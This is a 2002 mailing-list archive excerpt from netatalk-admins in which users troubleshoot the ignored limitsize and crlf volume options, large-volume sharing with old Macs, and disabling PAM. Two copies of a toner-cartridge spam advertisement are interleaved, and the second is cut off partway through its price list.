	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id EAA20815
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 25 Feb 2002 04:12:44 -0500 (EST)
Received: (from daemon@localhost)
	by vivalasvegas.mr.itd.umich.edu (3.6u) with LDAP id g1P9ChB20784
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 25 Feb 2002 04:12:43 -0500 (EST)
Received: (from daemon@localhost)
	by vivalasvegas.mr.itd.umich.edu (3.6u) with X.500 id g1P9ChS20782
	for netatalk.administrators-members@umich.edu; Mon, 25 Feb 2002 04:12:43 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by vivalasvegas.mr.itd.umich.edu (3.6u) with ESMTP id g1P9CfT20766
	for <netatalk-admins@umich.edu>; Mon, 25 Feb 2002 04:12:42 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id KAA02845;
	Mon, 25 Feb 2002 10:39:48 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Mon, 25 Feb 2002 10:12:49 +0100
Subject: Re: NETATALK limitsize Problem
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Andrei Verovski <andrei.verovski@parks.lv>, <netatalk-admins@umich.edu>
Message-ID: <B89FBEA0.1C7CD%Thomas.Kaiser@phg-online.de>
In-Reply-To: <200202250842.KAA17920@arena.delfi.lv>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Mon, 25 Feb 2002 10:41:57 +0200, Andrei Verovski wrote:

[limitsize AppleDouble.defaults option]
> I have removed all other options, but it does not seem working anyway. It
> seems this options is just being ignored (or may be I have used wrong
> syntax?).

I played with this switch too to see whether some of these options are
ignored. To me, it seems that both crlf and limitsize aren't working at all,
if I try it with (hope that's the correct syntax):

    options:crlf,limitsize

IMO, the comments in Applevolumes.default are a bit confusing. At the top of
the file, one can read:

# path [name] [casefold:x] [codepage:y] [options:z,l,j] \
#   [allow:a,@b,c,d] [deny:a,@b,c,d] [dbpath:path] [password:p] \
#   [rwlist:a,@b,c,d] [rolist:a,@b,c,d] [limitsize:value in bytes]
                                         ^^^^^^^^^^^^^^^^^^^^^^^^
But that leads to an error message in syslog: 'ignoring unknown volume
option: limitsize:2147483647'

Maybe one of the developers can give us a hint, whether these two options
are of no significance any longer?

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Mon Feb 25 08:19:12 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id IAA00515
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 25 Feb 2002 08:19:12 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA20001
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 25 Feb 2002 08:19:12 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA19985
	for netatalk.administrators-members@umich.edu; Mon, 25 Feb 2002 08:19:12 -0500 (EST)
Received: from proxy.test.co.kr ([211.251.243.131])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA19867; Mon, 25 Feb 2002 08:19:08 -0500 (EST)
From: vtxid@yahoo.com
Received: from yahoo.com (da001d0087.atl-ga.osd.concentric.net [64.3.192.88])
	by proxy.test.co.kr (8.11.6/8.11.6) with SMTP id g1PDLbl22680;
	Mon, 25 Feb 2002 22:21:43 +0900
Subject: toner cartridges
Date: Mon, 25 Feb 2002 08:22:24
Message-Id: <782.338060.773583@yahoo.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"





**** VERTEX TECHNOLOGIES****

-SPECIALS OF THE WEEK ON LASER TONER SUPPLIES AT DISCOUNT PRICES--



ORDER BY PHONE:1-888-288-9043
ORDER BY FAX: 1-888-977-1577
E-MAIL REMOVAL LINE: 1-888-248-4930


UNIVERSITY AND/OR SCHOOL PURCHASE ORDERS WELCOME. (NO CREDIT APPROVAL REQUIRED)
ALL OTHER PURCHASE ORDER REQUESTS REQUIRE CREDIT APPROVAL.
PAY BY CHECK (C.O.D), CREDIT CARD OR PURCHASE ORDER (NET 30 DAYS).

IF YOUR ORDER IS BY CREDIT CARD PLEASE LEAVE YOUR CREDIT CARD # PLUS EXPIRATION DATE. 
IF YOUR ORDER IS BY PURCHASE ORDER LEAVE YOUR SHIPPING/BILLING ADDRESSES AND YOUR P.O. NUMBER

ALL TRADEMARKS AND BRAND NAMES LISTED BELOW  ARE PROPERTY OF THE 
RESPECTIVE HOLDERS AND USED FOR DESCRIPTIVE PURPOSES ONLY.


90 DAY UNLIMITED WARRANTY INCLUDED ON ALL PRODUCTS.

NOTE: WE DO NOT CARRY 

1) XEROX, BROTHER, PANASONIC, FUJITSU PRODUCTS
2) DESKJETJET/INK JET OR BUBBLE JET CARTRIDGES 
3) ANY OFFBRANDS BESIDES THE ONES LISTED BELOW.    


OUR COMPATIBLE LASER PRINTER TONER CARTRIDGE PRICES ON CARTRIDGEDS ARE  AS FOLLOWS:
 
(PLEASE ORDER BY PAGE NUMBER AND/OR ITEM NUMBER)

FOR HEWLETT PACKARD: (ON PAGE 2)

ITEM #1  LASERJET SERIES  4L,4P (74A)------------------------$44
ITEM #2  LASERJET SERIES  1100 (92A)-------------------------$44
ITEM #3  LASERJET SERIES  2 (95A)----------------------------$39
ITEM #4  LASERJET SERIES  2P (75A)---------------------------$54 
ITEM #5  LASERJET SERIES  5P,6P,5MP, 6MP (3903A)----------  -$44
ITEM #6  LASERJET SERIES  5SI, 8000 (09A)--------------------$95
ITEM #7  LASERJET SERIES  2100, 2200 (96A)-------------------$74
ITEM #8  LASERJET SERIES  8100 (82X)-------------------------$115
ITEM #9  LASERJET SERIES  5L/6L (3906A)----------------------$39
ITEM #10 LASERJET SERIES  4V---------------------------------$95
ITEM #11 LASERJET SERIES 4000 (27X)--------------------------$79
ITEM #12 LASERJET SERIES 3SI/4SI (91A)-----------------------$54
ITEM #13 LASERJET SERIES 4, 4M, 5,5M-------------------------$49
ITEM #13A LASERJET SERIES 5000 (29X)-------------------------$125
ITEM #13B LASERJET SERIES 1200-------------------------------$59
ITEM #13C LASERJET SERIES 4100-------------------------------$99
ITEM #18   LASERJET SERIES 3100------------------------------$39
ITEM #19 LASERJET SERIES 4500 BLACK--------------------------$79
ITEM #20 LASERJET SERIES 4500 COLORS ------------------------$125

FOR HEWLETT PACKARD FAX (ON PAGE 2)

ITEM #14 LASERFAX 500, 700 (FX1)----------$49
ITEM #15  LASERFAX 5000,7000 (FX2)--------$64
ITEM #16  LASERFAX (FX3)------------------$59
ITEM #17  LASERFAX (FX4)------------------$54


FOR LEXMARK/IBM (ON PAGE 3)

OPTRA 4019, 4029 HIGH YIELD---------------$89
OPTRA R, 4039, 4049 HIGH YIELD-----------$105
OPTRA E310.312 HIGH YIELD----------------$79

OPTRA E-----------------------------------$59
OPTRA N----------------------------------$115
OPTRA S----------------------------------$165
OPTRA T----------------------------------$195
OPTRA E310/312---------------------------$79
OPTAA E410/412---------------------------$89


FOR EPSON (ON PAGE 4)

ACTION LASER 7000,7500,8000,9000----------$105
ACTION LASER 1000,1500--------------------$105


FOR CANON PRINTERS (ON PAGE 5)

PLEASE CALL FOR MODELS AND UPDATED PRICES
FOR CANON PRINTER CARTRIDGES

PANASONIC (0N PAGE 7)

NEC SERIES 2 MODELS 90 AND 95----------$105

APPLE (0N PAGE 8)

LASER WRITER PRO 600 or 16/600------------------$49 
LASER WRITER SELECT 300,320,360-----------------$74
LASER WRITER 300 AND 320------------------------$54
LASER WRITER NT, 2NT----------------------------$54
LASER WRITER 12/640-----------------------------$79

FOR CANON FAX (ON PAGE 9)

LASERCLASS 4000 (FX3)---------------------------$59
LASERCLASS 5000,6000,7000 (FX2)-----------------$54
LASERFAX 5000,7000 (FX2)------------------------$54
LASERFAX 8500,9000 (FX4)------------------------$54

FOR CANON COPIERS (PAGE 10)

PC 3, 6RE, 7 AND 11 (A30)---------------------$69
PC 300,320,700,720,760,900,910,920(E-40)------$89











From netatalk.administrators-errors@umich.edu  Mon Feb 25 09:01:35 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA03669
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 25 Feb 2002 09:01:34 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA13064
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 25 Feb 2002 09:01:34 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA13045
	for netatalk.administrators-members@umich.edu; Mon, 25 Feb 2002 09:01:34 -0500 (EST)
Received: from mail.talknet.de (smtp02.talknet.de [195.252.142.72])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA12870
	for <netatalk-admins@umich.edu>; Mon, 25 Feb 2002 09:01:29 -0500 (EST)
Received: from [192.168.1.5] (a1as11-p125.mch.tli.de [195.252.166.125])
	by mail.talknet.de (8.11.0/8.11.0) with ESMTP id g1PE0hS06481;
	Mon, 25 Feb 2002 15:00:44 +0100 (MET)
X-Delivered-To: <>
Mime-Version: 1.0
X-Sender: 602133b@195.64.96.45
Message-Id: <f05100300b89feb23c93e@[192.168.1.5]>
In-Reply-To: <B89FBEA0.1C7CD%Thomas.Kaiser@phg-online.de>
References: <B89FBEA0.1C7CD%Thomas.Kaiser@phg-online.de>
Date: Mon, 25 Feb 2002 14:25:19 +0100
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>, netatalk-admins@umich.edu
From: Wolf Drechsel <drechsel@verkehrsplanung.com>
Subject: Re: NETATALK limitsize Problem
Content-Type: text/plain; charset="iso-8859-1" ; format="flowed"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id JAA03669

>[limitsize AppleDouble.defaults option]
>>  I have removed all other options, but it does not seem working anyway. It
>>  seems this options is just being ignored (or may be I have used wrong
>>  syntax?).
>
>I played with this switch too to see whether some of these options are
>ignored. To me, it seems that both crlf and limitsize aren't working at all,
>if I try it with (hope that's the correct syntax):
>
>     options:crlf,limitsize
>
I had the same experience with

options=crlf

on a netatalk 1.42+asun.

It seems, as if the syntax has changed (from "=" to ":"), but I can 
state the same sort of problem:

No effect at all.

)-:

WD
-- 
************************************************************
# Gesellschaft für fahrgastorientierte Verkehrsplanung b.R.
# Köhnstr. 54   D-90478 Nürnberg
#
# Telephon: 0911/4 71 98 49
# Telefax: 0911/47 39 36
#
# drechsel@verkehrsplanung.com
# www.verkehrsplanung.com
#************************************************************

From netatalk.administrators-errors@umich.edu  Mon Feb 25 09:20:12 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from giblues.mr.itd.umich.edu (giblues.mr.itd.umich.edu [141.211.125.92])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA04538
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 25 Feb 2002 09:20:11 -0500 (EST)
Received: (from daemon@localhost)
	by giblues.mr.itd.umich.edu (3.6u) with LDAP id g1PEKBC06990
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 25 Feb 2002 09:20:11 -0500 (EST)
Received: (from daemon@localhost)
	by giblues.mr.itd.umich.edu (3.6u) with X.500 id g1PEKBP06983
	for netatalk.administrators-members@umich.edu; Mon, 25 Feb 2002 09:20:11 -0500 (EST)
Received: from protactinium.btinternet.com (protactinium.btinternet.com [194.73.73.176])
	by giblues.mr.itd.umich.edu (3.6u) with ESMTP id g1PEKAO06966
	for <netatalk-admins@umich.edu>; Mon, 25 Feb 2002 09:20:10 -0500 (EST)
Received: from host213-122-122-109.in-addr.btopenworld.com ([213.122.122.109] helo=nexus.local.net)
	by protactinium.btinternet.com with esmtp (Exim 3.22 #8)
	id 16fLz0-00035m-00
	for netatalk-admins@umich.edu; Mon, 25 Feb 2002 14:20:02 +0000
Received: from [10.0.1.10] (KenG3.local.net [10.0.1.10])
	by nexus.local.net (8.9.3/8.9.3) with ESMTP id OAA11467
	for <netatalk-admins@umich.edu>; Mon, 25 Feb 2002 14:12:11 GMT
Mime-Version: 1.0
X-Sender: ken@mail.local.net (Unverified)
Message-Id: <p05100316b89ff695789a@[10.0.1.10]>
In-Reply-To: <200202250842.KAA17920@arena.delfi.lv>
References: <200202250842.KAA17920@arena.delfi.lv>
X-Mailer: Eudora for Macintosh!
Date: Mon, 25 Feb 2002 14:12:10 +0000
To: <netatalk-admins@umich.edu>
From: Ken Gillett <keng@BTInternet.com>
Subject: Re: NETATALK limitsize Problem
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 10:41 am +0200 25/2/02, Andrei Verovski wrote:
>I have a problem with Netatalk 1.5 from SuSE 7.3. In short, in order old
>Macs get working with 40 GB shared volume NETATALK should report that
>share size is only 2 GB, otherwise old Mac recognizes 22 MB folder with a
>lot of small files as being over 400 MB (old MacOS does  understands only
>volumes with fixed number of sectors).


Am I going to have a problem sharing a 120 Gb HD?
-- 



Ken  G i l l e t t

_/_/_/_/_/_/_/_/_/

From netatalk.administrators-errors@umich.edu  Mon Feb 25 09:30:56 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA05133
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 25 Feb 2002 09:30:55 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA22841
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 25 Feb 2002 09:30:55 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA22833
	for netatalk.administrators-members@umich.edu; Mon, 25 Feb 2002 09:30:55 -0500 (EST)
Received: from mail.potsdam.edu (potsdam.edu [137.143.110.102])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id JAA22808
	for <netatalk-admins@umich.edu>; Mon, 25 Feb 2002 09:30:54 -0500 (EST)
Received: (qmail 6155 invoked by alias); 25 Feb 2002 14:27:41 -0000
Received: (qmail 5999 invoked from network); 25 Feb 2002 14:27:37 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by 0 with SMTP; 25 Feb 2002 14:27:37 -0000
Subject: Re: NETATALK limitsize Problem
From: Matthew Keller <kellermg@potsdam.edu>
To: Ken Gillett <keng@BTInternet.com>
Cc: netatalk-admins@umich.edu
In-Reply-To: <p05100316b89ff695789a@[10.0.1.10]>
References: <200202250842.KAA17920@arena.delfi.lv> 
	<p05100316b89ff695789a@[10.0.1.10]>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/1.0.2 
Date: 25 Feb 2002 09:30:48 -0500
Message-Id: <1014647448.1165.14.camel@comp10574>
Mime-Version: 1.0

On Mon, 2002-02-25 at 09:12, Ken Gillett wrote:
> At 10:41 am +0200 25/2/02, Andrei Verovski wrote:
> >I have a problem with Netatalk 1.5 from SuSE 7.3. In short, in order old
> >Macs get working with 40 GB shared volume NETATALK should report that
> >share size is only 2 GB, otherwise old Mac recognizes 22 MB folder with a
> >lot of small files as being over 400 MB (old MacOS does  understands only
> >volumes with fixed number of sectors).
> 
> 
> Am I going to have a problem sharing a 120 Gb HD?

	Only to very old Macs.
-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Mon Feb 25 17:25:07 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id RAA00553
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 25 Feb 2002 17:25:07 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA17610
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 25 Feb 2002 17:25:07 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA17588
	for netatalk.administrators-members@umich.edu; Mon, 25 Feb 2002 17:25:07 -0500 (EST)
Received: from hirsch.in-berlin.de (hirsch.in-berlin.de [192.109.42.6])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA17561
	for <netatalk-admins@umich.edu>; Mon, 25 Feb 2002 17:25:05 -0500 (EST)
Received: from hirsch.in-berlin.de (localhost [127.0.0.1])
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with ESMTP id g1PMP3sG005385
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT)
	for <netatalk-admins@umich.edu>; Mon, 25 Feb 2002 23:25:03 +0100
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with UUCP id g1PMP1mR005311
	for netatalk-admins@umich.edu; Mon, 25 Feb 2002 23:25:01 +0100
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: netatalk-admins@umich.edu
Received: from srittau by jroger.in-berlin.de with local (Exim 3.34 #1 (Debian))
	id 16fHsb-0000yn-00
	for <netatalk-admins@umich.edu>; Mon, 25 Feb 2002 10:57:09 +0100
Date: Mon, 25 Feb 2002 10:57:08 +0100
To: netatalk-admins@umich.edu
Subject: Re: How to disable PAM support in netatalk-1.5.2
Message-ID: <20020225095708.GA3608@jroger.in-berlin.de>
Mail-Followup-To: netatalk-admins@umich.edu
References: <DKECINDAEAEPNEFEEGDIKEEECBAA.sophie@ms2.hinet.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <DKECINDAEAEPNEFEEGDIKEEECBAA.sophie@ms2.hinet.net>
User-Agent: Mutt/1.3.27i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Mon, Feb 25, 2002 at 01:58:17PM +0800, Sophie wrote:

> Because I didn't see any option, like --with-shadow, in the 
> configuration files.

--without-pam

 - Sebastian


From netatalk.administrators-errors@umich.edu  Mon Feb 25 20:12:36 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from vivalasvegas.mr.itd.umich.edu (vivalasvegas.mr.itd.umich.edu [141.211.125.91])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id UAA09253
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 25 Feb 2002 20:12:36 -0500 (EST)
Received: (from daemon@localhost)
	by vivalasvegas.mr.itd.umich.edu (3.6u) with LDAP id g1Q1CaS16288
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 25 Feb 2002 20:12:36 -0500 (EST)
Received: (from daemon@localhost)
	by vivalasvegas.mr.itd.umich.edu (3.6u) with X.500 id g1Q1CaV16285
	for netatalk.administrators-members@umich.edu; Mon, 25 Feb 2002 20:12:36 -0500 (EST)
Received: from mout01.kundenserver.de (mout01.kundenserver.de [195.20.224.132])
	by vivalasvegas.mr.itd.umich.edu (3.6u) with ESMTP id g1Q1CYF16270
	for <netatalk-admins@umich.edu>; Mon, 25 Feb 2002 20:12:34 -0500 (EST)
Received: from [172.19.20.60] (helo=mrelayng0.kundenserver.de)
	by mout01.kundenserver.de with esmtp (Exim 2.12 #2)
	id 16fWAR-0003KK-00
	for netatalk-admins@umich.edu; Tue, 26 Feb 2002 02:12:31 +0100
Received: from [193.159.110.158] (helo=[193.159.110.158])
	by mrelayng0.kundenserver.de with asmtp (Exim 3.22 #2)
	id 16fWAQ-00067D-00
	for netatalk-admins@umich.edu; Tue, 26 Feb 2002 02:12:30 +0100
User-Agent: Microsoft-Entourage/9.0.2.4011
Date: Tue, 26 Feb 2002 02:12:45 +0100
Subject: crlf not working? [Was: Re: NETATALK limitsize Problem]
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B8A09E9A.30723%ts@visual-s.de>
In-Reply-To: <B89FBEA0.1C7CD%Thomas.Kaiser@phg-online.de>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Well, I didn't ever play with the crlf option myself because I
just need a reliable AppleTalk server and avoid troublesome options
like the plague ...

Anyway, my guess, to achieve working crlf translation you
need to edit AppleVolumes.system:

# default translation -- note that CR <-> LF translation is done on all
# files of type TEXT.  The first line turns off translation for files of
# unknown type, the second turns this translation on.
.    "BINA"   "UNIX"   Unix Binary   Unix        application/octet-stream
# .  "TEXT"   "ttxt"   ASCII Text    SimpleText  text/plain

insert a comment sign at the beginning of the first line, and
uncomment the second line.

-Thomas


On 2002-02-25 10:12 +0100, Thomas Kaiser wrote:

> On Mon, 25 Feb 2002 10:41:57 +0200, Andrei Verovski wrote:
> 
> [limitsize AppleDouble.defaults option]
>> I have removed all other options, but it does not seem working anyway. It
>> seems this options is just being ignored (or may be I have used wrong
>> syntax?).
> 
> I played with this switch too to see whether some of these options are
> ignored. To me, it seems that both crlf and limitsize aren't working at all,
> if I try it with (hope that's the correct syntax):

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers


From netatalk.administrators-errors@umich.edu  Tue Feb 26 02:37:11 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id CAA29298
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 26 Feb 2002 02:37:11 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id CAA22269
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 26 Feb 2002 02:37:11 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id CAA22263
	for netatalk.administrators-members@umich.edu; Tue, 26 Feb 2002 02:37:11 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id CAA22243
	for <netatalk-admins@umich.edu>; Tue, 26 Feb 2002 02:37:09 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id JAA11984;
	Tue, 26 Feb 2002 09:04:24 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Tue, 26 Feb 2002 08:37:25 +0100
Subject: Re: crlf not working?
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Thomas Schierle <ts@visual-s.de>,
        Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B8A0F9C4.1C8A7%Thomas.Kaiser@phg-online.de>
In-Reply-To: <B8A09E9A.30723%ts@visual-s.de>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Tue, 26 Feb 2002 02:12:45 +0100, Thomas Schierle wrote:

> Anyway, my guess, to achieve working crlf translation you
> need to edit AppleVolumes.system:

Hmm... From my understanding the two possibilities below presuppose that
crlf itself *is* already working.

> # default translation -- note that CR <-> LF translation is done on all
> # files of type TEXT.

I've had some problems years ago with Netatalk and crlf translation turned
on caused by some applications saving their documents first as type "TEXT"
and changing this later to a more appropriate one (so in fact these files
were binary files, that were destroyed by the lineending mapping)

Yesterday I thought, that crlf translation doesn't work for me on files of
type "TEXT" anymore, regardless whether I specify the crlf option or not.

Today I realized that it works (Netatalk 1.5.2 -- nothing changed
intentionally since yesterday?) but it has nothing to do with the following
two entries.

> # The first line turns off translation for files of
> # unknown type, the second turns this translation on.
> .    "BINA"   "UNIX"   Unix Binary   Unix        application/octet-stream
> # .  "TEXT"   "ttxt"   ASCII Text    SimpleText  text/plain

AFAIK these two alternatives are just for the handling of files with an
unknown filename suffix (without an entry in AppleVolumes.system) that
weren't created from a mac but from the shell or via samba, etc.

Given, you have a file called 'exmaple.xyz' (and no mapping for .xyz defined
in AppleVolumes.system), the first entry will display this file to a Mac
with filetype "BINA" and creator "UNIX" (also preventing crlf translation)
and the second will display it as a SimpleText file (and does crlf mapping
*if* options=crlf is set for the specific volume).

Tests with 'echo -e "foo\nbar" >test.txt' and 'echo -e "foo\nbar" >test.xyz'
(and varying crlf and "BINA/UNIX" vs. "TEXT/ttxt" settings) show this
behaviour.

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Tue Feb 26 05:27:48 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id FAA07669
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 26 Feb 2002 05:27:48 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA17065
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 26 Feb 2002 05:27:48 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA17061
	for netatalk.administrators-members@umich.edu; Tue, 26 Feb 2002 05:27:47 -0500 (EST)
Received: from hedy.com.cn ([61.140.76.163])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA17039; Tue, 26 Feb 2002 05:27:44 -0500 (EST)
From: vtxid@yahoo.com
Received: from yahoo.com (da001d1427.atl-ga.osd.concentric.net [64.3.197.148])
	by hedy.com.cn (8.11.3/8.11.3) with SMTP id g1QAgrC51026;
	Tue, 26 Feb 2002 18:42:54 +0800 (CST)
Subject: toner cartridges
Date: Tue, 26 Feb 2002 05:31:11
Message-Id: <769.272571.138083@yahoo.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: undisclosed-recipients:;





**** VERTEX TECHNOLOGIES****

-SPECIALS OF THE WEEK ON LASER TONER SUPPLIES AT DISCOUNT PRICES--



ORDER BY PHONE:1-888-288-9043
ORDER BY FAX: 1-888-977-1577
E-MAIL REMOVAL LINE: 1-888-248-4930


UNIVERSITY AND/OR SCHOOL PURCHASE ORDERS WELCOME. (NO CREDIT APPROVAL REQUIRED)
ALL OTHER PURCHASE ORDER REQUESTS REQUIRE CREDIT APPROVAL.
PAY BY CHECK (C.O.D), CREDIT CARD OR PURCHASE ORDER (NET 30 DAYS).

IF YOUR ORDER IS BY CREDIT CARD PLEASE LEAVE YOUR CREDIT CARD # PLUS EXPIRATION DATE. 
IF YOUR ORDER IS BY PURCHASE ORDER LEAVE YOUR SHIPPING/BILLING ADDRESSES AND YOUR P.O. NUMBER

ALL TRADEMARKS AND BRAND NAMES LISTED BELOW  ARE PROPERTY OF THE 
RESPECTIVE HOLDERS AND USED FOR DESCRIPTIVE PURPOSES ONLY.


90 DAY UNLIMITED WARRANTY INCLUDED ON ALL PRODUCTS.

NOTE: WE DO NOT CARRY 

1) XEROX, BROTHER, PANASONIC, FUJITSU PRODUCTS
2) DESKJETJET/INK JET OR BUBBLE JET CARTRIDGES 
3) ANY OFFBRANDS BESIDES THE ONES LISTED BELOW.    


OUR COMPATIBLE LASER PRINTER TONER CARTRIDGE PRICES ON CARTRIDGEDS ARE  AS FOLLOWS:
 
(PLEASE ORDER BY PAGE NUMBER AND/OR ITEM NUMBER)

FOR HEWLETT PACKARD: (ON PAGE 2)

ITEM #1  LASERJET SERIES  4L,4P (74A)------------------------$44
ITEM #2  LASERJET SERIES  1100 (92A)-------------------------$44
ITEM #3  LASERJET SERIES  2 (95A)----------------------------$39
ITEM #4  LASERJET SERIES  2P (75A)---------------------------$54 
ITEM #5  LASERJET SERIES  5P,6P,5MP, 6MP (3903A)----------  -$44
ITEM #6  LASERJET SERIES  5SI, 8000 (09A)--------------------$95
ITEM #7  LASERJET SERIES  2100, 2200 (96A)-------------------$74
ITEM #8  LASERJET SERIES  8100 (82X)-------------------------$115
ITEM #9  LASERJET SERIES  5L/6L (3906A)----------------------$39
ITEM #10 LASERJET SERIES  4V---------------------------------$95
ITEM #11 LASERJET SERIES 4000 (27X)--------------------------$79
ITEM #12 LASERJET SERIES 3SI/4SI (91A)-----------------------$54
ITEM #13 LASERJET SERIES 4, 4M, 5,5M-------------------------$49
ITEM #13A LASERJET SERIES 5000 (29X)-------------------------$125
ITEM #13B LASERJET SERIES 1200-------------------------------$59
ITEM #13C LASERJET SERIES 4100-------------------------------$99
ITEM #18   LASERJET SERIES 3100------------------------------$39
ITEM #19 LASERJET SERIES 4500 BLACK--------------------------$79
ITEM #20 LASERJET SERIES 4500 COLORS ------------------------$125

FOR HEWLETT PACKARD FAX (ON PAGE 2)

